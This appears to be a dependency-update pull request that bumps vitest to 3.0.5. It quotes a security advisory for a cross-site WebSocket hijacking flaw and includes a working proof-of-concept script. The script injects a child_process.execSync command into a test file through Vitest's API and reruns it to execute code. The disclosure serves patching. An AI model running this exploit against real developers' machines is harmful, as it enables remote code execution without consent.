Update dependency vitest to v3.0.5 [SECURITY]

[renovate]

This PR contains the following updates:

Package	Change	Age	Adoption	Passing	Confidence
vitest (source)	3.0.4 -> 3.0.5

GitHub Vulnerability Alerts

CVE-2025-24964

Summary

Arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks.

Details

When api option is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L32-L46

This WebSocket server has saveTestFile API that can edit a test file and rerun API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the saveTestFile API and then running that file by calling the rerun API.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L66-L76

PoC

1. Open Vitest UI.
2. Access a malicious web site with the script below.
3. If you have calc executable in PATH env var (you'll likely have it if you are running on Windows), that application will be executed.

// code from https://github.com/WebReflection/flatted
const Flatted=function(n){"use strict";function t(n){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},t(n)}var r=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f="string",i={},c="object",a=function(n,t){return t},l=function(n){return n instanceof u?u(n):n},s=function(n,r){return t(r)===f?new u(r):r},y=function n(r,e,f,a){for(var l=[],s=o(f),y=s.length,p=0;p<y;p++){var v=s[p],S=f[v];if(S instanceof u){var b=r[S];t(b)!==c||e.has(b)?f[v]=a.call(f,v,b):(e.add(b),f[v]=i,l.push({k:v,a:[r,e,b,a]}))}else f[v]!==i&&(f[v]=a.call(f,v,S))}for(var m=l.length,g=0;g<m;g++){var h=l[g],O=h.k,d=h.a;f[O]=a.call(f,O,n.apply(null,d))}return f},p=function(n,t,r){var e=u(t.push(r)-1);return n.set(r,e),e},v=function(n,e){var o=r(n,s).map(l),u=o[0],f=e||a,i=t(u)===c&&u?y(o,new Set,u,f):u;return f.call({"":i},"",i)},S=function(n,r,o){for(var u=r&&t(r)===c?function(n,t){return""===n||-1<r.indexOf(n)?t:void 0}:r||a,i=new Map,l=[],s=[],y=+p(i,l,u.call({"":n},"",n)),v=!y;y<l.length;)v=!0,s[y]=e(l[y++],S,o);return"["+s.join(",")+"]";function S(n,r){if(v)return v=!v,r;var e=u.call(this,n,r);switch(t(e)){case c:if(null===e)return e;case f:return i.get(e)||p(i,l,e)}return e}};return n.fromJSON=function(n){return v(e(n))},n.parse=v,n.stringify=S,n.toJSON=function(n){return r(S(n))},n}({});

// actual code to run
const ws = new WebSocket('ws://localhost:51204/__vitest_api__')
ws.addEventListener('message', e => {
    console.log(e.data)
})
ws.addEventListener('open', () => {
    ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "getFiles", a: [] }))

    const testFilePath = "/path/to/test-file/basic.test.ts" // use a test file returned from the response of "getFiles"

    // edit file content to inject command execution
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "saveTestFile",
      a: [testFilePath, "import child_process from 'child_process';child_process.execSync('calc')"]
    }))
    // rerun the tests to run the injected command execution code
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "rerun",
      a: [testFilePath]
    }))
})

Impact

This vulnerability can result in remote code execution for users that are using Vitest serve API.

---

Release Notes

vitest-dev/vitest (vitest)

v3.0.5

Compare Source

🚀 Features

• ui: Insert message "no tests found" in ui - by @​DevJoaoLopes in https://github.com/vitest-dev/vitest/issues/7366 (92da4)

🐞 Bug Fixes

• Validate websocket request - by @​hi-ogawa and @​AriPerkkio in https://github.com/vitest-dev/vitest/issues/7317 (191ef)
• Don't toggle cli cursor on non-TTY - by @​AriPerkkio in https://github.com/vitest-dev/vitest/issues/7336 (3c805)
• vite-node: Differentiate file url with hash and query - by @​hi-ogawa in https://github.com/vitest-dev/vitest/issues/7365 (926ca)

View changes on GitHub

---

Configuration

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---

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---

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[github-actions]

Metrics report

At head commit 02de939 and base commit f3cdb95 at 2025-02-04T20:36:25.445Z

Size

No changes

All size metrics

Export	Size original	Size minified	Size minified and Brotli compressed
tailwind-merge esm	84.10 kB 0%	22.51 kB 0%	6.31 kB 0%
› createTailwindMerge	13.42 kB 0%	3.61 kB 0%	1.44 kB 0%
› extendTailwindMerge	83.39 kB 0%	21.88 kB 0%	6.04 kB 0%
› fromTheme	0.16 kB 0%	0.08 kB 0%	0.09 kB 0%
› getDefaultConfig	67.63 kB 0%	17.38 kB 0%	4.49 kB 0%
› mergeConfigs	2.12 kB 0%	0.80 kB 0%	0.27 kB 0%
› twJoin	1.06 kB 0%	0.26 kB 0%	0.16 kB 0%
› twMerge	81.08 kB 0%	21.02 kB 0%	5.87 kB 0%
› validators	4.49 kB 0%	1.69 kB 0%	0.73 kB 0%
tailwind-merge cjs	84.36 kB 0%	28.36 kB 0%	6.63 kB 0%
tailwind-merge/es5 esm	89.38 kB 0%	24.44 kB 0%	6.52 kB 0%
› createTailwindMerge	15.28 kB 0%	4.20 kB 0%	1.56 kB 0%
› extendTailwindMerge	88.28 kB 0%	23.80 kB 0%	6.27 kB 0%
› fromTheme	0.21 kB 0%	0.10 kB 0%	0.09 kB 0%
› getDefaultConfig	70.06 kB 0%	18.50 kB 0%	4.58 kB 0%
› mergeConfigs	2.47 kB 0%	0.87 kB 0%	0.29 kB 0%
› twJoin	1.08 kB 0%	0.26 kB 0%	0.14 kB 0%
› twMerge	85.36 kB 0%	22.74 kB 0%	6.03 kB 0%
› validators	6.09 kB 0%	2.23 kB 0%	0.76 kB 0%
tailwind-merge/es5 cjs	89.64 kB 0%	30.31 kB 0%	6.89 kB 0%

[codspeed-hq]

CodSpeed Performance Report

Merging #524 will not alter performance

_{Comparing renovate/npm-vitest-vulnerability (02de939) with main (f3cdb95)}

Summary

✅ 5 untouched benchmarks

[github-actions]

This was addressed in release v3.0.2.